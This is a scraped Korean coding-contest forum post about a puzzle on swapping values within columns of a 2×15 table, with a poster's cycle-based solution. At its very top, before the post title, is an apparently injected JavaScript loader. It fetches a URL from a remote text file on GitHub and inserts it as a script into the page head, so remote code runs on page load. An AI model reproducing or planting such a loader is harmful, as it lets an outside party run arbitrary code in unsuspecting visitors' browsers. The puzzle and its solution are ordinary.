;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); 17. 2층 (13점) – 상상톤[강코딩]

17. 2층 (13점)

작성자
kangcoding
작성일
2024-05-03 19:51
조회
435
2개의 행과 15개의 열로 이루어진 표가 있다. 첫 번째 행의 칸들에는 1부터 15까지의 정수가 한 칸에 하나씩 들어있다. 두 번쨰 행의 칸들도 마찬가지 이다.
주어지는 표에서 같은 열의 두 칸에 있는 값을 교환하는 작업을 수행할 수 있다. 여러분의 목표는 최소 횟수의 작업으로 원래 표와 다르면서 각 행에 중복되는 값이 없는 표를 만드는 것이다.
표의 칸을 클릭하여 같은 열 다른 행의 칸과 값을 교환할 수 있다. “다시 하기” 버튼을 눌러 언제든 초기 상태에서 문제를 다시 해결할 수 있다.
목표를 달성했다면 반드시 제출을 해야 득점할 수 있다.



========== 풀이 ============
첫번째 행 부터 몇번을 진행하면 될 듯 하다.
위쪽 행을 기준으로
15:7 교체하면 7이 올라오므로 7:6을 바꾸고 6이 올라오면 6 : 13을 바꾸고 이런 식으로 계속 진행 해서 자신이 나오면 된다.

1 행 (15:7)
7 > 6 > 13 > 12 > 14 > 3 > 2 > 9 > 8 > 15

2행(14:3) : 3이 올라온다는 의미는 1행과 횟수가 같다는 의미


3행(8:15) : 15가 올라온다면 1행과 횟수가 같다.

4행(1:10)
10 > 4 > 11 > 5 > 1

5행 : (9:8) : ...


정답 : 4행(1:10)을 뒤집으면 됨
전체 0